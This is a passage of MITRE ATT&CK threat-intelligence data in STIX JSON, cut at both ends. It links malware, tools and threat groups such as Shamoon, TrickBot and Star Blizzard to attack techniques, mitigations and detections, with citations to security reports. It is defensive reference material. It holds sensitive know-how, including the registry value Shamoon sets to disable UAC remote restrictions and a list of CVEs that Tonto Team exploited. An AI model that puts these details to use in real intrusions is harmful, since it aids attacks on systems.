adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af3fe271-9d63-447d-bd88-f5f0b41a43c2","created":"2023-07-14T14:02:23.890Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T14:02:23.890Z","description":"Require multi-factor authentication for user accounts integrated into container clusters through cloud deployments or via authentication protocols such as LDAP or SAML. ","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af415c7f-b7aa-4a9e-b1a8-ae09d67070de","type":"relationship","created":"2020-01-22T15:11:52.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.","url":"https://github.com/sensepost/ruler","source_name":"SensePost Ruler GitHub"}],"modified":"2020-01-22T15:11:52.098Z","description":"[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Home Pages to establish persistence.(Citation: SensePost Ruler GitHub) ","relationship_type":"uses","source_ref":"tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af48f343-0359-444b-b6b4-1cddd36ddfd7","type":"relationship","created":"2021-10-06T19:18:54.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-06T19:18:54.607Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has been distributed via spearphishing campaigns containing malicious Microsoft Word documents.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}],"modified":"2020-03-19T22:00:22.552Z","description":"[TDTESS](https://attack.mitre.org/software/S0164) has a command to download and execute an additional file.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--af52d85d-8050-419d-a1f7-fc617cda1cc1","created":"2022-04-20T20:55:28.504Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).","modified":"2022-04-20T20:55:28.504Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af60497d-7356-444c-b842-6ad9fb0d7dea","created":"2022-09-29T20:27:33.886Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:27:33.886Z","description":"(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"}],"modified":"2019-08-16T18:52:50.587Z","description":"A Linux version of [Derusbi](https://attack.mitre.org/software/S0021) checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. [Derusbi](https://attack.mitre.org/software/S0021) also gathers the username of the victim.(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af684c27-a63f-4193-8293-f5b3554a3e58","type":"relationship","created":"2020-01-24T14:52:25.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T20:34:10.201Z","description":"Upgrade to Windows 8 or later and enable secure boot.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af69bb4e-4cdb-4a9d-afff-5508c99c1276","type":"relationship","created":"2020-05-20T13:33:50.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Windows Anonymous Enumeration of SAM Accounts","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-do-not-allow-anonymous-enumeration-of-sam-accounts-and-shares","description":"Microsoft. (2017, April 19). Network access: Do not allow anonymous enumeration of SAM accounts and shares. Retrieved May 20, 2020."}],"modified":"2021-10-13T18:10:57.427Z","description":"Enable Windows Group Policy “Do Not Allow Anonymous Enumeration of SAM Accounts and Shares” security setting to limit users who can enumerate network shares.(Citation: Windows Anonymous Enumeration of SAM Accounts)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af6b077e-6925-4551-8174-baee6efa050c","created":"2024-06-14T19:24:46.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"},{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"},{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T19:36:00.710Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has sent emails to establish rapport with targets eventually sending messages with links to credential-stealing sites.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:45:45.264Z","description":"[WinMM](https://attack.mitre.org/software/S0059) uses NetUser-GetInfo to identify that it is running under an “Admin” account on the local system.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af7323ae-bb42-49fd-9c8d-218a1335f662","type":"relationship","created":"2019-01-31T00:36:40.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:19.318Z","description":"[KONNI](https://attack.mitre.org/software/S0356) can take screenshots of the victim’s machine.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af74a9b1-6c74-45b6-a21d-38686afb202c","created":"2023-10-12T21:31:42.352Z","revoked":false,"external_references":[{"source_name":"netlab360 rotajakiro vs oceanlotus","description":"Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:31:42.352Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) uses a custom binary protocol over TCP port 443.(Citation: netlab360 rotajakiro vs oceanlotus)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:14.280Z","description":"[RTM](https://attack.mitre.org/software/S0148) can add a certificate to the Windows store.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af766021-c066-416c-80ba-9687f5641457","type":"relationship","created":"2021-10-11T18:29:51.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T18:29:51.359Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can search for different processes on a system.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af7c56df-ced8-45b7-9aef-be1039e30cea","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis TrickBot Oct 2016","description":"Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.","url":"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Joe Sec Trickbot","url":"https://www.joesecurity.org/blog/498839998833561473","description":"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."}],"modified":"2021-10-01T14:12:53.055Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) decodes the configuration data and modules.(Citation: Fidelis TrickBot Oct 2016)(Citation: Cyberreason Anchor December 2019)(Citation: Joe Sec Trickbot)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--af7d7ff9-c74e-48da-9e6d-029161746afd","created":"2021-05-05T17:56:59.097Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."},{"source_name":"Talos Bisonal 10 Years March 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021."},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has exploited Microsoft vulnerabilities, including CVE-2018-0798, CVE-2018-8174, CVE-2018-0802, CVE-2017-11882, CVE-2019-9489 CVE-2020-8468, and CVE-2018-0798 to enable execution of their delivered malicious payloads.(Citation: Kaspersky CactusPete Aug 2020)(Citation: TrendMicro Tonto Team October 2020)(Citation: Talos Bisonal Mar 2020)(Citation: Talos Bisonal 10 Years March 2020) ","modified":"2022-04-13T19:14:37.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af7ec7e9-08d2-4459-8c05-047185799058","type":"relationship","created":"2020-07-16T15:07:27.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-10-21T17:38:02.243Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can collect information about installed software used by specific users, software executed on user login, and software executed by each system.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af85b32a-7b5e-48ea-9777-50d4d625a122","created":"2022-09-21T17:03:44.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:46:22.186Z","description":"[Chinoxy](https://attack.mitre.org/software/S1041) has encrypted its configuration file.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af883d09-3f26-4267-9081-4783447e3283","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hacking Team","description":"FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"},{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2020-07-15T19:28:00.918Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to to delete files.(Citation: FireEye Hacking Team)(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af8dcb52-7530-439a-b04d-856025f1209f","type":"relationship","created":"2021-06-30T14:46:59.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T19:41:41.857Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can use DLL side-loading to gain execution.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-05-29T18:11:24.821Z","description":"Once [Shamoon](https://attack.mitre.org/software/S0140) has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy to 1.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af939bf8-559a-494c-ad06-fb3a8b3e0e18","created":"2022-03-10T21:03:13.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.862Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can use a Visual Basic script to exclude the `C:\\` drive from Windows Defender.(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af9720b7-fef3-4b8d-b2ad-073355523866","created":"2023-04-05T15:28:43.588Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:28:43.588Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can create a named pipe to listen for and send data to a named pipe-based C2 server.(Citation: SentinelLabs Metador Technical Appendix Sept 